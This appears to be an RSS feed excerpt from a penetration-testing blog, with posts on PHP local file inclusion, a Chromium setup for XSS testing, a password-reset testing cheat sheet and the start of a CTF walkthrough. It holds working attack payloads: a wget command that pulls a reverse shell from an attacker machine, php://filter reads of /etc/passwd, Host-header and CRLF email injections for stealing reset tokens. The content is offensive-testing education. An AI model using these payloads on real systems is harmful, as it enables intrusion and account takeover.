class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;example1&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;php&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Warning&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Failed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;opening&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;expect://ls&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inclusion&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;include_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;.:/usr/share/php:/usr/share/pear&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;www&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileincl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;example1&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;php&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;php-wrapper-phpfile&quot;&gt;PHP Wrapper php://file&lt;/h3&gt;

&lt;p&gt;Another PHP wrapper, &lt;code&gt;php://input&lt;/code&gt; your payload is sent in a POST request using curl, burp or hackbar to provide the post data is probably the easiest option.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/web-for-penetration-testers/lfi-php-file-hackbar-pentesters-labs.png&quot; alt=&quot;LFI php://file hackbar&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;http://192.168.183.128/fileincl/example1.php?page&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;php://input&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Post Data payload, try something simple to start with like: &lt;code&gt;&amp;lt;? system(&apos;uname -a&apos;);?&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then try and download a &lt;a href=&quot;https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;reverse shell&lt;/a&gt; from your attacking machine using:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;lt;? system&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;wget http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;?&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After uploading execute the reverse shell at &lt;code&gt;http://192.168.183.129/shell.php&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;php-wrapper-phpfilter&quot;&gt;PHP Wrapper php://filter&lt;/h3&gt;

&lt;p&gt;Another PHP wrapper, &lt;code&gt;php://filter&lt;/code&gt; in this example the output is encoded using base64, so you’ll need to decode the output.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;http://192.168.155.131/fileincl/example1.php?page&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;php://filter/convert.base64-encode/resource&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;../../../../../etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;procselfenviron-lfi-method&quot;&gt;/proc/self/environ LFI Method&lt;/h3&gt;

&lt;p&gt;If it’s possible to include &lt;code&gt;/proc/self/environ&lt;/code&gt; from your vulnerable LFI script, then code execution can be leveraged by manipulating the &lt;code&gt;User Agent&lt;/code&gt; parameter with Burp. After the PHP code has been introduced &lt;code&gt;/proc/self/environ&lt;/code&gt; can be executed via your vulnerable LFI script.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;procselffd-lfi-method&quot;&gt;/proc/self/fd/ LFI Method&lt;/h3&gt;

&lt;p&gt;Similar to the previous &lt;code&gt;/proc/self/environ&lt;/code&gt; method, it’s possible to introduce code into the proc log files that can be executed via your vulnerable LFI script. Typically you would use burp or curl to inject PHP code into the &lt;code&gt;referer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This method is a little tricky as the proc file that contains the Apache error log information changes under &lt;code&gt;/proc/self/fd/&lt;/code&gt; e.g. &lt;code&gt;/proc/self/fd/2&lt;/code&gt;, &lt;code&gt;/proc/self/fd/10&lt;/code&gt; etc. I’d recommend brute forcing the directory structure of the /proc/self/fd/ directory with Burp Intruder + FuzzDB’s &lt;a href=&quot;https://github.com/tennc/fuzzdb/blob/master/dict/BURP-PayLoad/LFI/LFI-FD-check.txt&quot;&gt;LFI-FD-Check.txt&lt;/a&gt; list of likely proc files, you can then monitor the returned page sizes and investigate.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;fimap-lfi-pen-testing-tool&quot;&gt;fimap LFI Pen Testing Tool&lt;/h2&gt;

&lt;p&gt;fimap is a &lt;a href=&quot;/blog/penetration-testing-tools-cheat-sheet/&quot;&gt;tool used on pen tests&lt;/a&gt; that automates the above processes of discovering and exploiting LFI scripts. Upon discovering a vulnerable LFI script fimap will enumerate the local filesystem and search for writable log files or locations such as &lt;code&gt;/proc/self/environ&lt;/code&gt;. Another tool commonly used by pen testes to automate LFI discovery is Kali’s dotdotpwn, which works in a similar way.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;fimap--phpinfo-exploit&quot;&gt;fimap + phpinfo() Exploit&lt;/h3&gt;

&lt;p&gt;Fimap exploits PHP’s temporary file creation via Local File Inclusion by abusing PHPinfo() information disclosure glitch to reveal the location of the created temporary file.&lt;/p&gt;

&lt;p&gt;If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.&lt;/p&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>HowTo: Kali Linux Chromium Install for Web App Pen Testing</title>
          <link>https://hacksofdhruv.me/blog/kali-chromium-install/</link>
          <pubDate>Fri, 24 May 2024 11:29:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Kali</category>
          
          <category>Web</category>
          
          <category>Chromium</category>
          
          
          <category>kali linux</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/kali-chromium-install/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#why-use-chromium-for-web-application-testing-&quot; id=&quot;markdown-toc-why-use-chromium-for-web-application-testing-&quot;&gt;Why use Chromium for Web Application Testing ?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#kali-install-chromium-browser&quot; id=&quot;markdown-toc-kali-install-chromium-browser&quot;&gt;Kali Install Chromium Browser&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#chromium-wont-launch-on-kali&quot; id=&quot;markdown-toc-chromium-wont-launch-on-kali&quot;&gt;Chromium Won’t Launch on Kali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#chromium-setup-for-web-application-testing&quot; id=&quot;markdown-toc-chromium-setup-for-web-application-testing&quot;&gt;Chromium Setup for Web Application Testing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#complete-chromium-config&quot; id=&quot;markdown-toc-complete-chromium-config&quot;&gt;Complete Chromium Config&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#kali-chromium-error-you-are-using-an-unsupported-command-line-flag-disable-web-security-security-and-stability-will-suffer&quot; id=&quot;markdown-toc-kali-chromium-error-you-are-using-an-unsupported-command-line-flag-disable-web-security-security-and-stability-will-suffer&quot;&gt;Kali Chromium Error: You Are using an Unsupported Command line flag –disable-web-security. Security and Stability will suffer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;why-use-chromium-for-web-application-testing-&quot;&gt;Why use Chromium for Web Application Testing ?&lt;/h2&gt;

&lt;p&gt;The primary reason I use Chromium is for DOM based XSS testing which as far as I know cannot be disabled in Firefox. If you have never heard of Chromium it’s the opensource version of Google Chrome and doesn’t have flash player built in and various other codecs such as: AAC, H.264, and MP3 Support.&lt;/p&gt;

&lt;p&gt;It’s possible to disable all security features in Chromium or Chrome using the switch &lt;code&gt;--disable-web-security&lt;/code&gt;, this will disable all security options and allow you to test for DOM based XSS.&lt;/p&gt;

&lt;h2 id=&quot;kali-install-chromium-browser&quot;&gt;Kali Install Chromium Browser&lt;/h2&gt;

&lt;p&gt;Chromium exists within the Kali repositories and can be installed using:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;chromium&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;chromium-wont-launch-on-kali&quot;&gt;Chromium Won’t Launch on Kali&lt;/h2&gt;

&lt;p&gt;By default chromium won’t launch on Kali Linux, this is due to chromium running as the root user. You can fix this by opening &lt;code&gt;/etc/chromium.d/default-flags&lt;/code&gt; in vim and adding the following lines:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Run as root Kali&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --password-store=detect --no-sandbox --user-data-dir&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This disables the &lt;code&gt;user-data-dir&lt;/code&gt; and &lt;code&gt;sandboxing&lt;/code&gt;, disabling sandboxing will have some obvious security issues but this browser is for web application penetration testing only.&lt;/p&gt;

&lt;h2 id=&quot;chromium-setup-for-web-application-testing&quot;&gt;Chromium Setup for Web Application Testing&lt;/h2&gt;

&lt;p&gt;In order to use chromium for Web Application Penetration Testing you need to disable all the security features, allowing for DOM based XSS testing in chromium.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Disable Chromium security features for web app testing&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --disable-web-security&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;complete-chromium-config&quot;&gt;Complete Chromium Config&lt;/h2&gt;

&lt;p&gt;What my entire Chromium config looks like:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# A set of command line flags that we want to set by default.&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Do not hide any extensions in the about:extensions dialog&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --show-component-extension-options&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Don&apos;t use the GPU blacklist (bug #802933)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --ignore-gpu-blacklist&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Run as root Kali&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --password-store=detect --no-sandbox --user-data-dir&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Disable Chromium security features for web app testing&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CHROMIUM_FLAGS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; --disable-web-security&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;kali-chromium-error-you-are-using-an-unsupported-command-line-flag-disable-web-security-security-and-stability-will-suffer&quot;&gt;Kali Chromium Error: You Are using an Unsupported Command line flag –disable-web-security. Security and Stability will suffer&lt;/h2&gt;

&lt;p&gt;Ignore the following error, Chromium still process DOM based XSS. The same error occurs in Google Chrome.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kali-chromium/kali-chromium-web-app-testing.png&quot; alt=&quot;Kali Chromium Error: You Are using an Unsupported Command line flag --disable-web-security. Security and Stability will suffer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Password Reset Testing Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/password-reset-security-testing-cheat-sheet/</link>
          <pubDate>Wed, 15 May 2024 03:29:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Authentication</category>
          
          <category>Web Application Penetration Testing</category>
          
          <category>Web</category>
          
          <category>cheat-sheet</category>
          
          <category>Pen-Testing</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/password-reset-security-testing-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#header-poisoning&quot; id=&quot;markdown-toc-header-poisoning&quot;&gt;Header Poisoning&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#host-header-injection-password-reset-url&quot; id=&quot;markdown-toc-host-header-injection-password-reset-url&quot;&gt;Host: Header Injection Password Reset URL&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#potential-vulnerable-headers&quot; id=&quot;markdown-toc-potential-vulnerable-headers&quot;&gt;Potential Vulnerable Headers&lt;/a&gt;            &lt;ul&gt;
              &lt;li&gt;&lt;a href=&quot;#host-header-password-reset&quot; id=&quot;markdown-toc-host-header-password-reset&quot;&gt;Host Header Password Reset&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#double-host-header&quot; id=&quot;markdown-toc-double-host-header&quot;&gt;Double Host Header&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href=&quot;#x-forwarded-host-header&quot; id=&quot;markdown-toc-x-forwarded-host-header&quot;&gt;X-Forwarded-Host Header&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#confirm-vulnerable&quot; id=&quot;markdown-toc-confirm-vulnerable&quot;&gt;Confirm Vulnerable&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#poc&quot; id=&quot;markdown-toc-poc&quot;&gt;PoC&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#password-reset-token-filter-bypass&quot; id=&quot;markdown-toc-password-reset-token-filter-bypass&quot;&gt;Password Reset Token Filter Bypass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#email-parameter-manipulation&quot; id=&quot;markdown-toc-email-parameter-manipulation&quot;&gt;Email Parameter Manipulation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#password-change-functions&quot; id=&quot;markdown-toc-password-change-functions&quot;&gt;Password Change Functions&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#intercept--change-the-email&quot; id=&quot;markdown-toc-intercept--change-the-email&quot;&gt;Intercept &amp;amp; Change the Email&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#password-reset-functons&quot; id=&quot;markdown-toc-password-reset-functons&quot;&gt;Password Reset Functons&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#add-second-email&quot; id=&quot;markdown-toc-add-second-email&quot;&gt;Add Second Email&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#password-token-referral-header-leak&quot; id=&quot;markdown-toc-password-token-referral-header-leak&quot;&gt;Password Token Referral Header Leak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#check-list&quot; id=&quot;markdown-toc-check-list&quot;&gt;Check List&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The following document outlines some key techniques used when assessing password reset function on modern web application and API’s, a useful resource for bug bounty hunters and penetration testers when performing password reset security testing.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;header-poisoning&quot;&gt;Header Poisoning&lt;/h2&gt;

&lt;h3 id=&quot;host-header-injection-password-reset-url&quot;&gt;Host: Header Injection Password Reset URL&lt;/h3&gt;

&lt;p&gt;The following headers can be modified in an attempt to modify the password reset token URL to an attacker controlled domain. Potentially allowing an attacker to obtain the reset token when a user clicks the link to perform a password reset.&lt;/p&gt;

&lt;h4 id=&quot;potential-vulnerable-headers&quot;&gt;Potential Vulnerable Headers&lt;/h4&gt;

&lt;h5 id=&quot;host-header-password-reset&quot;&gt;Host Header Password Reset&lt;/h5&gt;

&lt;p&gt;Replace the Host: header with a server you control.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt; 
Host: attackers-domain.com&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h5 id=&quot;double-host-header&quot;&gt;Double Host Header&lt;/h5&gt;

&lt;p&gt;Often when you modify the Host header the application, or WAF fails to the process the request, a technique which can potentially bypass this filter if to simply add a second Host header to the request.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Host: target.com
Host: attackers-domain.com&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h5 id=&quot;x-forwarded-host-header&quot;&gt;X-Forwarded-Host Header&lt;/h5&gt;

&lt;p&gt;Add an attacker controlled domain in the X-forwarded-Host header directive.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Host: target.com 
X-Forwarded-Host: attackers-domain.com&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id=&quot;confirm-vulnerable&quot;&gt;Confirm Vulnerable&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Perform a password reset normally, and modify the host header with a different url&lt;/li&gt;
  &lt;li&gt;Check the email sent by the application has the test url, not the applications url&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;poc&quot;&gt;PoC&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Replace vulnerable header with the attacker controlled domain&lt;/li&gt;
  &lt;li&gt;Send the request&lt;/li&gt;
  &lt;li&gt;Wait for the victim to click reset link (or show PoC to a second account)&lt;/li&gt;
  &lt;li&gt;Exatract the token from the webserver logs you control&lt;/li&gt;
  &lt;li&gt;Use the extracted token to take over the user account&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;password-reset-token-filter-bypass&quot;&gt;Password Reset Token Filter Bypass&lt;/h2&gt;

&lt;p&gt;If the app is built on ruby, try adding a .json extension to the end of the password reset URL. In certain circumstances ACL bugs may exist, adding the extension could potentially bypass any additional layers of protection the application has in in place.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Add a .json to the reset token&lt;/li&gt;
  &lt;li&gt;Observe the applications response to see if the&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;email-parameter-manipulation&quot;&gt;Email Parameter Manipulation&lt;/h2&gt;

&lt;h3 id=&quot;password-change-functions&quot;&gt;Password Change Functions&lt;/h3&gt;

&lt;h4 id=&quot;intercept--change-the-email&quot;&gt;Intercept &amp;amp; Change the Email&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;Interecept the request, and replace the email address to one that you control&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;password-reset-functons&quot;&gt;Password Reset Functons&lt;/h3&gt;

&lt;h4 id=&quot;add-second-email&quot;&gt;Add Second Email&lt;/h4&gt;

&lt;p&gt;Vulnerable applications can be manipulated to send password reset codes to multiple email addresses.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Interecept the request, and add a second email address to the request&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;amp;
%20
|
%0a%0dcc:
%0a%0dbcc:&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Modify the parameter matching the applications format, example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt; 
&lt;span class=&quot;nv&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;victim@mail.tld&quot;&lt;/span&gt;,email&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;attacker@mail.tld&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Match the API Request Schema&lt;/h5&gt;
  &lt;p&gt;Match the application / API&apos;s request formatting when adding the additional email address.&lt;/p&gt;
&lt;/div&gt;

&lt;h2 id=&quot;password-token-referral-header-leak&quot;&gt;Password Token Referral Header Leak&lt;/h2&gt;

&lt;p&gt;Vulnerable applications leak the password reset URL via the referal header.&lt;/p&gt;

&lt;p&gt;Assess the target using an intercepting proxy to identify if the referral header leaks the token through the referral header.&lt;/p&gt;

&lt;h2 id=&quot;check-list&quot;&gt;Check List&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Host Header Injection Password Reset Function&lt;/li&gt;
  &lt;li&gt;Double Host Header Injection Password Reset Function&lt;/li&gt;
  &lt;li&gt;X-Forwarded-Host Header Injection Password Reset Function&lt;/li&gt;
  &lt;li&gt;Email Parameter Manipulation &lt;em&gt;add attacker controller second email address&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>LAMP Security CTF8 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/lamp-security-ctf8-walkthrough/</link>
          <pubDate>Sun, 05 May 2024 11:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/lamp-security-ctf8-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#host-service-enumeration&quot; id=&quot;markdown-toc-host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#inspection-of-the-web-application&quot; id=&quot;markdown-toc-inspection-of-the-web-application&quot;&gt;Inspection of the Web Application&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#xss-session-id-hijacking&quot; id=&quot;markdown-toc-xss-session-id-hijacking&quot;&gt;XSS Session ID Hijacking&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#xss-comment&quot; id=&quot;markdown-toc-xss-comment&quot;&gt;XSS Comment&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-server&quot; id=&quot;markdown-toc-http-server&quot;&gt;HTTP Server&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#email-barbara-victim&quot; id=&quot;markdown-toc-email-barbara-victim&quot;&gt;Email Barbara (victim)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#swapped-session-id-burp-suite&quot; id=&quot;markdown-toc-swapped-session-id-burp-suite&quot;&gt;Swapped Session ID Burp Suite&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#reverse-shell&quot; id=&quot;markdown-toc-reverse-shell&quot;&gt;Reverse Shell&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#drupal-settingsphp&quot; id=&quot;markdown-toc-drupal-settingsphp&quot;&gt;Drupal settings.php&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
